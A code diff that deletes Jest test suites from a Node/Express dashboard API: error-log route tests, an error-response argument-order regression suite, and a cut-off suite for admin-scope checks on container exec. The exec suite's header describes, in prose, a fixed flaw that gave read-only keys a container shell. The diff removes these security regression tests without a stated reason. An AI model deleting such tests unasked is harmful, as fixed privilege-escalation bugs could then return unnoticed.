|
||||||
.flat();
|
|
||||||
expect(paths).toEqual(expect.arrayContaining([
|
|
||||||
'GET /error-logs',
|
|
||||||
'GET /error-logs/contexts',
|
|
||||||
'DELETE /error-logs',
|
|
||||||
]));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs returns newest-first with totals', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.total).toBe(3);
|
|
||||||
expect(body.logs).toHaveLength(3);
|
|
||||||
expect(body.hasMore).toBe(false);
|
|
||||||
expect(body.filters).toEqual({
|
|
||||||
level: null, context: null, search: null, since: null, until: null,
|
|
||||||
});
|
|
||||||
// Newest first: 12:00 (WARN ssl-monitor) → 11:00 (ERR http) → 10:00 (ERR updater).
|
|
||||||
expect(body.logs[0].level).toBe('WARN');
|
|
||||||
expect(body.logs[1].level).toBe('ERR');
|
|
||||||
expect(body.logs[2].level).toBe('ERR');
|
|
||||||
expect(body.logs[0].timestamp).toBe('2026-08-17T12:00:00.000Z');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs filters by level', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?level=ERR`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(2);
|
|
||||||
expect(body.logs.every((e) => e.level === 'ERR')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs filters by context (substring)', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?context=updater`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(1);
|
|
||||||
expect(body.logs[0].context).toBe('updater');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs free-text search hits error / context / detail', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
// "sonarr" appears only in the WARN stack; should still match via detail.
|
|
||||||
let res = await fetch(`http://127.0.0.1:${port}/error-logs?search=sonarr`);
|
|
||||||
let body = await res.json();
|
|
||||||
expect(body.total).toBe(1);
|
|
||||||
expect(body.logs[0].context).toBe('ssl-monitor');
|
|
||||||
// "503" appears only in the ERR http message; should match via error.
|
|
||||||
res = await fetch(`http://127.0.0.1:${port}/error-logs?search=503`);
|
|
||||||
body = await res.json();
|
|
||||||
expect(body.total).toBe(1);
|
|
||||||
expect(body.logs[0].context).toBe('http');
|
|
||||||
server.close();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs respects since/until as numeric ISO compare', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
// Window covers only 11:00Z entry.
|
|
||||||
const res = await fetch(
|
|
||||||
`http://127.0.0.1:${port}/error-logs?since=${encodeURIComponent('2026-08-17T10:30:00Z')}&until=${encodeURIComponent('2026-08-17T11:30:00Z')}`
|
|
||||||
);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(1);
|
|
||||||
expect(body.logs[0].timestamp).toBe('2026-08-17T11:00:00.000Z');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs rejects invalid since with 400', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?since=not-a-date`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs rejects unknown level with 400', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?level=FATAL`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs paginates and reports hasMore', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res1 = await fetch(`http://127.0.0.1:${port}/error-logs?limit=2&offset=0`);
|
|
||||||
const body1 = await res1.json();
|
|
||||||
expect(body1.logs).toHaveLength(2);
|
|
||||||
expect(body1.total).toBe(3);
|
|
||||||
expect(body1.hasMore).toBe(true);
|
|
||||||
const res2 = await fetch(`http://127.0.0.1:${port}/error-logs?limit=2&offset=2`);
|
|
||||||
const body2 = await res2.json();
|
|
||||||
expect(body2.logs).toHaveLength(1);
|
|
||||||
expect(body2.hasMore).toBe(false);
|
|
||||||
server.close();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs clamps limit to MAX_LIMIT', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?limit=99999`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
// 3 entries total so we still get 3, but the route didn't blow up on a
|
|
||||||
// giant limit; the contract is limit <= 500 and we just clamp.
|
|
||||||
expect(body.logs.length).toBeLessThanOrEqual(500);
|
|
||||||
expect(body.total).toBe(3);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs/contexts returns distinct contexts sorted by count', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs/contexts`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.contexts).toHaveLength(3);
|
|
||||||
// updater + http + ssl-monitor — each appears once.
|
|
||||||
const names = body.contexts.map((c) => c.name).sort();
|
|
||||||
expect(names).toEqual(['http', 'ssl-monitor', 'updater']);
|
|
||||||
expect(body.contexts.every((c) => c.count === 1)).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /error-logs without confirm is rejected with 400', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs`, { method: 'DELETE' });
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(body.success).toBe(false);
|
|
||||||
// File still intact.
|
|
||||||
expect(fs.readFileSync(logFile, 'utf8')).toBe(FIXTURE_LOG);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('DELETE /error-logs with confirm=CLEAR truncates and audits', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs`, {
|
|
||||||
method: 'DELETE',
|
|
||||||
headers: { 'content-type': 'application/json' },
|
|
||||||
body: JSON.stringify({ confirm: 'CLEAR' }),
|
|
||||||
});
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(fs.readFileSync(logFile, 'utf8')).toBe('');
|
|
||||||
expect(auditLogger.log).toHaveBeenCalledWith(expect.objectContaining({
|
|
||||||
action: 'error-log.clear',
|
|
||||||
outcome: 'success',
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs returns empty when log file missing', async () => {
|
|
||||||
fs.unlinkSync(logFile);
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.logs).toEqual([]);
|
|
||||||
expect(body.total).toBe(0);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs preserves stack frames in detail field', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?context=updater`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.logs[0].detail).toContain('self-updater.js:128');
|
|
||||||
expect(body.logs[0].detail).toContain('context:');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs handles malformed entry as raw fallback', async () => {
|
|
||||||
// The parser splits the log on ENTRY_SEP (80 equal signs). A junk block
|
|
||||||
// that has no timestamp header should still surface as a raw entry so
|
|
||||||
// the operator doesn't lose forensic context. Place the malformed
|
|
||||||
// block AFTER the separator so it ends up in its own split segment.
|
|
||||||
fs.writeFileSync(logFile, [
|
|
||||||
`[2026-08-17T13:00:00.000Z] [ERR] junk: well-formed entry`,
|
|
||||||
ENTRY_SEP,
|
|
||||||
`this is a malformed block with no timestamp header`,
|
|
||||||
`and no level bracket at all`,
|
|
||||||
ENTRY_SEP,
|
|
||||||
``,
|
|
||||||
].join('\n'));
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(2);
|
|
||||||
const raw = body.logs.find((e) => e.level === null);
|
|
||||||
expect(raw).toBeDefined();
|
|
||||||
expect(raw.error).toContain('malformed block');
|
|
||||||
expect(raw.raw).toContain('malformed block');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs/contexts returns empty array when file missing', async () => {
|
|
||||||
fs.unlinkSync(logFile);
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs/contexts`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.contexts).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs?search matches IP field', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
// 100.85.236.11 is only on the /api/v1/templates entry.
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?search=100.85.236.11`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(1);
|
|
||||||
expect(body.logs[0].request.ip).toBe('100.85.236.11');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs accepts huge since/until without error', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
// Far-future since — no entries match, but the route doesn't 500.
|
|
||||||
const res = await fetch(
|
|
||||||
`http://127.0.0.1:${port}/error-logs?since=${encodeURIComponent('9999-12-31T00:00:00Z')}`
|
|
||||||
);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(body.success).toBe(true);
|
|
||||||
expect(body.total).toBe(0);
|
|
||||||
expect(body.logs).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /error-logs combined filters compose correctly', async () => {
|
|
||||||
const server = listen(buildRouter());
|
|
||||||
const { port } = server.address();
|
|
||||||
// level=WARN AND context=http: no entry matches (WARN is ssl-monitor).
|
|
||||||
const res = await fetch(`http://127.0.0.1:${port}/error-logs?level=WARN&context=http`);
|
|
||||||
const body = await res.json();
|
|
||||||
server.close();
|
|
||||||
expect(body.total).toBe(0);
|
|
||||||
expect(body.logs).toEqual([]);
|
|
||||||
expect(body.filters).toEqual({
|
|
||||||
level: 'WARN', context: 'http', search: null,
|
|
||||||
since: null, until: null,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,284 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-063: errorResponse arg-order invariant regression suite.
|
|
||||||
*
|
|
||||||
* Three layers of correctness pinned by this test:
|
|
||||||
*
|
|
||||||
* (1) The validator at responses.js:76-98 catches wrong-order callers
|
|
||||||
* with a clear TypeError naming statusCode. Defense-in-depth: any
|
|
||||||
* future swap is caught at the smallest possible blast radius
|
|
||||||
* (one TypeError on the request thread) instead of an HTTP 500 HTML
|
|
||||||
* panic for the operator and client.
|
|
||||||
*
|
|
||||||
* (2) The static trees under dashcaddy-api/routes/ and
|
|
||||||
* dashcaddy-api/src/utilities/ follow ONE of two equivalent
|
|
||||||
* conventions consistently:
|
|
||||||
*
|
|
||||||
* Convention A — canonical import `errorResponse` from responses.js.
|
|
||||||
* Callsite shape: errorResponse(res, statusCode, message, extras?)
|
|
||||||
* statusCode must be an integer 100..599; message must be a string.
|
|
||||||
*
|
|
||||||
* Convention B — alias import `error: errorResponse` from responses.js,
|
|
||||||
* which binds the local `errorResponse` to the message-first
|
|
||||||
* helper `error(res, message, statusCode = 500)`.
|
|
||||||
* Callsite shape: errorResponse(res, message, statusCode)
|
|
||||||
*
|
|
||||||
* Mixing the alias-import with the canonical-shape callsite is the
|
|
||||||
* DC-063 bug class: at runtime, the alias function fires
|
|
||||||
* `res.status('event not found')` → TypeError → HTTP 500 HTML panic,
|
|
||||||
* silently masking the intended 4xx JSON response for the client.
|
|
||||||
* The validator at (1) does NOT help because the alias path skips it.
|
|
||||||
*
|
|
||||||
* (3) End-to-end smoke for one of each fixed-file: live HTTP hits the
|
|
||||||
* endpoint with the malformed input that triggers the fix-callsite
|
|
||||||
* branch, and asserts the wire response is the expected 4xx JSON
|
|
||||||
* (status + content-type + body) — never a 500 HTML panic.
|
|
||||||
*
|
|
||||||
* Origin (DC-062): shipped 2026-08-18 by Hermes loop. Found 4 callsites in
|
|
||||||
* routes/caddy-upstreams.js and added the validator.
|
|
||||||
*
|
|
||||||
* DC-063 (this file): extended the search across the routes tree with
|
|
||||||
* alias-import awareness. Found 18 instances of the alias-imported +
|
|
||||||
* canonical-shape callsite bug class in 2 files (security.js + 3 calls
|
|
||||||
* in services.js). Fixed by switching those imports to canonical and
|
|
||||||
* rewriting the remaining 4 alias-shape callsites in services.js to
|
|
||||||
* canonical-shape. Adding this regression test to prevent the same
|
|
||||||
* swap from being reintroduced in future route file edits.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const express = require('express');
|
|
||||||
const http = require('http');
|
|
||||||
const fs = require('fs');
|
|
||||||
const glob = require('glob');
|
|
||||||
|
|
||||||
const repoRoot = path.join(__dirname, '..', '..'); // dashcaddy-api/
|
|
||||||
const { errorResponse, error: aliasError } = require(
|
|
||||||
path.join(repoRoot, 'src/utils/responses')
|
|
||||||
);
|
|
||||||
|
|
||||||
// ─── (1) Type validator (defense-in-depth) ────────────────────────────────
|
|
||||||
describe('DC-063: errorResponse type validator (defense-in-depth)', () => {
|
|
||||||
function makeRes() {
|
|
||||||
return { status: () => makeRes(), json: () => makeRes() };
|
|
||||||
}
|
|
||||||
|
|
||||||
test('canonical (res, statusCode, message) does not throw and JSON is well-formed', () => {
|
|
||||||
expect(() => errorResponse(makeRes(), 400, 'Invalid level')).not.toThrow();
|
|
||||||
expect(() => errorResponse(makeRes(), 503, 'downstream unavailable', { code: 'DC-503' }))
|
|
||||||
.not.toThrow();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('swapped canonical-shape throws TypeError naming statusCode', () => {
|
|
||||||
expect(() => errorResponse(makeRes(), 'msg-not-status', 400))
|
|
||||||
.toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(makeRes(), 'msg-not-status', 400))
|
|
||||||
.toThrow(/statusCode must be an integer HTTP status \(100\.\.599\)/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test.each([
|
|
||||||
[0, 'below range'],
|
|
||||||
[99, 'below range'],
|
|
||||||
[600, 'above range'],
|
|
||||||
[3.14, 'non-integer'],
|
|
||||||
[NaN, 'NaN'],
|
|
||||||
[Infinity, 'Infinity'],
|
|
||||||
])('rejects numeric out-of-band statusCode %p (%s)', (bad) => {
|
|
||||||
expect(() => errorResponse(makeRes(), bad, 'msg')).toThrow(TypeError);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejects non-string message', () => {
|
|
||||||
expect(() => errorResponse(makeRes(), 400, 42)).toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(makeRes(), 400, null)).toThrow(TypeError);
|
|
||||||
expect(() => errorResponse(makeRes(), 400, { err: 'oops' })).toThrow(TypeError);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('extras object merges into body and surfaces top-level code (DC-086)', () => {
|
|
||||||
const captured = {};
|
|
||||||
const res = {
|
|
||||||
status(c) { captured.status = c; return res; },
|
|
||||||
json(b) { captured.body = b; return res; },
|
|
||||||
};
|
|
||||||
errorResponse(res, 400, 'Invalid input', { code: 'DC-400', field: 'level' });
|
|
||||||
expect(captured.status).toBe(400);
|
|
||||||
expect(captured.body).toEqual({
|
|
||||||
success: false,
|
|
||||||
error: 'Invalid input',
|
|
||||||
field: 'level',
|
|
||||||
code: 'DC-400',
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
test('alias error(res, message, statusCode) still works for backward-compat', () => {
|
|
||||||
expect(() => aliasError(makeRes(), 'msg', 400)).not.toThrow();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ─── (2) Static tree: every callsite follows its file's imported convention ─
|
|
||||||
describe('DC-063: routes/ + utilities/ arg-order matches each file\'s import', () => {
|
|
||||||
function isNumericLiteral(s) {
|
|
||||||
return /^\d+$/.test(s);
|
|
||||||
}
|
|
||||||
function isExpressionReturningNumber(s) {
|
|
||||||
return /^(err|error|response)\.status(Code)?\s*\|\|.*\d+/.test(s) ||
|
|
||||||
/^response\.status$/.test(s);
|
|
||||||
}
|
|
||||||
function isStringy(s) {
|
|
||||||
s = s.trim();
|
|
||||||
if (s.startsWith('"') || s.startsWith("'") || s.startsWith('`')) return true;
|
|
||||||
if (/^[a-zA-Z_][a-zA-Z_0-9]*\([^)]*\)$/.test(s)) return true; // safeErrorMessage(err)
|
|
||||||
if (/^[a-zA-Z_][a-zA-Z_0-9]*\.[a-zA-Z_][a-zA-Z_0-9.]*$/.test(s)) return true; // err.message
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
function isNumeric(s) {
|
|
||||||
return isNumericLiteral(s.trim()) || isExpressionReturningNumber(s.trim());
|
|
||||||
}
|
|
||||||
// Match `errorResponse(res, ARG1, ARG2)` (allow extras after).
|
|
||||||
const pat = /errorResponse\(\s*res\s*,\s*([^,]+?)\s*,\s*([^,)\s]+)(?:\s*,|\s*\))/g;
|
|
||||||
|
|
||||||
const ROUTES = glob.sync('routes/*.js', { cwd: repoRoot });
|
|
||||||
const UTILS = glob.sync('src/utilities/*.js', { cwd: repoRoot });
|
|
||||||
const ALL = [...ROUTES, ...UTILS];
|
|
||||||
|
|
||||||
function classifyFile(src) {
|
|
||||||
// Filter comments before classification (the comment can mention the alias).
|
|
||||||
const codeOnly = src.split('\n')
|
|
||||||
.filter((l) => !l.trim().startsWith('//') && !l.trim().startsWith('*') && !l.trim().startsWith('/*'))
|
|
||||||
.join('\n');
|
|
||||||
const is_alias = /\berror:\s*errorResponse\b/.test(codeOnly);
|
|
||||||
return { is_alias };
|
|
||||||
}
|
|
||||||
|
|
||||||
test.each(ALL.map((rel) => [rel]))('%s has consistent callsite shape', (rel) => {
|
|
||||||
const abs = path.join(repoRoot, rel);
|
|
||||||
const src = fs.readFileSync(abs, 'utf8');
|
|
||||||
const { is_alias } = classifyFile(src);
|
|
||||||
const bad = [];
|
|
||||||
for (const m of src.matchAll(pat)) {
|
|
||||||
const a1 = m[1].trim();
|
|
||||||
const a2 = m[2].trim();
|
|
||||||
const lineNo = src.slice(0, m.index).split('\n').length;
|
|
||||||
|
|
||||||
if (is_alias) {
|
|
||||||
// Convention B: arg1 = message (string), arg2 = status (number)
|
|
||||||
if (isNumeric(a1) && isStringy(a2)) {
|
|
||||||
bad.push({ lineNo, a1, a2, reason: 'alias-import + canonical-shape (BUG: alias path skips validator)' });
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// Convention A: arg1 = status (number), arg2 = message (string)
|
|
||||||
if (isStringy(a1) && isNumeric(a2)) {
|
|
||||||
bad.push({ lineNo, a1, a2, reason: 'canonical-import + alias-shape (BUG: validator fires TypeError -> 500 HTML)' });
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (bad.length) {
|
|
||||||
throw new Error(
|
|
||||||
`${rel}: ${bad.length} inconsistent callsite(s):\n` +
|
|
||||||
bad.map((b) => ` L${b.lineNo}: (${b.a1}, ${b.a2}) — ${b.reason}`).join('\n')
|
|
||||||
);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// ─── (3) End-to-end HTTP smoke — invalid input returns the expected JSON ─
|
|
||||||
describe('DC-063: live HTTP smoke — security.js GET /events/:id returns 404 JSON (not 500)', () => {
|
|
||||||
let server, baseUrl;
|
|
||||||
|
|
||||||
beforeAll(() => {
|
|
||||||
process.env.NODE_ENV = 'test';
|
|
||||||
process.env.DASHCADDY_API_TOKEN = process.env.DASHCADDY_API_TOKEN || 'test-token';
|
|
||||||
process.env.DASHCADDY_ENCRYPTION_KEY = process.env.DASHCADDY_ENCRYPTION_KEY || 'k'.repeat(64);
|
|
||||||
process.env.JWT_SECRET = process.env.JWT_SECRET || 'jwt-test-secret-32-chars-minimum-len';
|
|
||||||
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
|
|
||||||
// Auth shim — bypass host authentication middleware.
|
|
||||||
app.use((_req, _res, next) => next());
|
|
||||||
|
|
||||||
// Shim the security event store with a fake.
|
|
||||||
const fakeStore = {
|
|
||||||
get: () => null,
|
|
||||||
append: () => ({ id: 'fake', accepted: true }),
|
|
||||||
list: () => ({ events: [], total: 0 }),
|
|
||||||
query: () => ({ events: [], total: 0 }),
|
|
||||||
};
|
|
||||||
const fakeRegistry = {
|
|
||||||
list: () => [],
|
|
||||||
register: () => ({ host: {}, api_key: 'x' }),
|
|
||||||
get: () => null,
|
|
||||||
update: () => null,
|
|
||||||
remove: () => true,
|
|
||||||
setEnabled: () => true,
|
|
||||||
authHostByApiKey: () => null,
|
|
||||||
authHostByBearer: () => null,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Inject store + registry via a require-cache swap so security.js's
|
|
||||||
// getStore()/getRegistry() return our fakes.
|
|
||||||
require.cache[path.join(repoRoot, 'src/security/event-store')] = {
|
|
||||||
exports: { getStore: () => fakeStore },
|
|
||||||
id: 'fake-event-store', filename: 'fake', loaded: true,
|
|
||||||
};
|
|
||||||
require.cache[path.join(repoRoot, 'src/security/host-registry')] = {
|
|
||||||
exports: { getRegistry: () => fakeRegistry },
|
|
||||||
id: 'fake-host-registry', filename: 'fake', loaded: true,
|
|
||||||
};
|
|
||||||
// platform-paths is required by security.js — provide a minimal shim.
|
|
||||||
require.cache[path.join(repoRoot, 'platform-paths')] = {
|
|
||||||
exports: { configFile: () => '/tmp/x', dataFile: () => '/tmp/y' },
|
|
||||||
id: 'fake-platform-paths', filename: 'fake', loaded: true,
|
|
||||||
};
|
|
||||||
|
|
||||||
const securityRoutes = require(path.join(repoRoot, 'routes/security'));
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.success = (data) => res.json({ success: true, ...data });
|
|
||||||
res.errorResponse = (status, msg, extras) => errorResponse(res, status, msg, extras);
|
|
||||||
res.ok = (data) => res.json({ success: true, ...data });
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
app.use('/api/security', securityRoutes({
|
|
||||||
store: fakeStore,
|
|
||||||
registry: fakeRegistry,
|
|
||||||
log: { info: () => {}, warn: () => {}, error: () => {}, debug: () => {} },
|
|
||||||
}));
|
|
||||||
|
|
||||||
server = http.createServer(app).listen(0);
|
|
||||||
// .listen(0) synchronously assigns a port; no need to wait.
|
|
||||||
baseUrl = `http://127.0.0.1:${server.address().port}`;
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll((done) => {
|
|
||||||
if (server && server.listening) server.close(done);
|
|
||||||
else done();
|
|
||||||
});
|
|
||||||
|
|
||||||
function get(p) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
http.get(`${baseUrl}${p}`, (resp) => {
|
|
||||||
let buf = '';
|
|
||||||
resp.on('data', (c) => { buf += c; });
|
|
||||||
resp.on('end', () => resolve({
|
|
||||||
status: resp.statusCode,
|
|
||||||
body: buf,
|
|
||||||
contentType: resp.headers['content-type'] || '',
|
|
||||||
}));
|
|
||||||
}).on('error', reject);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
test('GET /api/security/events/nonexistent — pre-fix crashed with 500 HTML, post-fix returns 404 JSON', async () => {
|
|
||||||
const r = await get('/api/security/events/nonexistent');
|
|
||||||
expect(r.status).toBe(404);
|
|
||||||
expect(r.contentType).toMatch(/application\/json/);
|
|
||||||
expect(r.body).toMatch(/event not found/i);
|
|
||||||
expect(r.body).not.toMatch(/<html|<!DOCTYPE|stack/i); // NOT an HTML panic
|
|
||||||
});
|
|
||||||
|
|
||||||
test('GET /api/security/hosts/nonexistent — pre-fix crashed with 500 HTML, post-fix returns 404 JSON', async () => {
|
|
||||||
const r = await get('/api/security/hosts/nonexistent');
|
|
||||||
expect(r.status).toBe(404);
|
|
||||||
expect(r.contentType).toMatch(/application\/json/);
|
|
||||||
expect(r.body).toMatch(/host not found/i);
|
|
||||||
expect(r.body).not.toMatch(/<html|<!DOCTYPE|stack/i);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,192 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-072: WebSocket exec scope-based authorization + containerId charset
|
|
||||||
* hardening.
|
|
||||||
*
|
|
||||||
* Bug class under test:
|
|
||||||
* 1. Pre-fix `routes/exec.js` captured `auth.scope` (line 39/46) but
|
|
||||||
* NEVER enforced it. A JWT or API key whose scope was `['read']`
|
|
||||||
* (a legitimate monitoring/observability scope) would be granted a
|
|
||||||
* full PTY-backed shell inside any running container. Container
|
|
||||||
* exec is root-equivalent inside the container's user namespace,
|
|
||||||
* so this is a privilege escalation: a read-only key holder could
|
|
||||||
* run arbitrary commands, exfiltrate mounted volumes, or pivot
|
|
||||||
* to the host network.
|
|
||||||
*
|
|
||||||
* 2. Pre-fix `containerId` regex `/^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,127}$/`
|
|
||||||
* accepted mixed case, `_`, `-`, `.`, and any length up to 128.
|
|
||||||
* Docker container IDs are exactly 64 lowercase hex (or 12-char
|
|
||||||
* short form). The pre-fix validator would pass any string that
|
|
||||||
* looked vaguely ID-shaped; Docker's inspect() would then 404.
|
|
||||||
*
|
|
||||||
* Post-fix: `assertExecScope(auth)` requires `admin` scope and throws a
|
|
||||||
* 403-tagged error. `isValidContainerId(id)` accepts only 12 or 64
|
|
||||||
* lowercase hex chars. Both helpers are exported via `__test`.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const { __test } = require('../../routes/exec');
|
|
||||||
const { assertExecScope, isValidContainerId } = __test;
|
|
||||||
|
|
||||||
function check(cond, msg) {
|
|
||||||
if (!cond) throw new Error('assertion failed: ' + msg);
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-072: exec WebSocket scope-based authorization', () => {
|
|
||||||
describe('assertExecScope — admin required', () => {
|
|
||||||
test('admin scope passes', () => {
|
|
||||||
// Should not throw
|
|
||||||
assertExecScope({ type: 'jwt', scope: ['admin'] });
|
|
||||||
assertExecScope({ type: 'apikey', scope: ['admin', 'read'] });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('read-only scope rejected with DC-072_INSUFFICIENT_SCOPE', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'apikey', scope: ['read'] });
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on read-only scope');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', `expected code DC-072_INSUFFICIENT_SCOPE, got ${caught.code}`);
|
|
||||||
check(caught.statusCode === 403, `expected statusCode 403, got ${caught.statusCode}`);
|
|
||||||
check(caught.requiredScope === 'admin', `expected requiredScope=admin, got ${caught.requiredScope}`);
|
|
||||||
check(Array.isArray(caught.actualScope) && caught.actualScope[0] === 'read', `expected actualScope=['read'], got ${JSON.stringify(caught.actualScope)}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('write-only scope rejected (write ≠ admin)', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'jwt', scope: ['write'] });
|
|
||||||
} catch (e) {
|
|
||||||
caught = e;
|
|
||||||
}
|
|
||||||
check(caught !== null, 'expected assertExecScope to throw on write-only scope');
|
|
||||||
check(caught.code === 'DC-072_INSUFFICIENT_SCOPE', `expected code DC-072_INSUFFICIENT_SCOPE, got ${caught.code}`);
|
|
||||||
check(caught.statusCode === 403, `expected statusCode 403, got ${caught.statusCode}`);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty scope rejected', () => {
|
|
||||||
let caught = null;
|
|
||||||
try {
|
|
||||||
assertExecScope({ type: 'apikey', scope: [] });
|
|
||||||
} catch (e) {
|
|
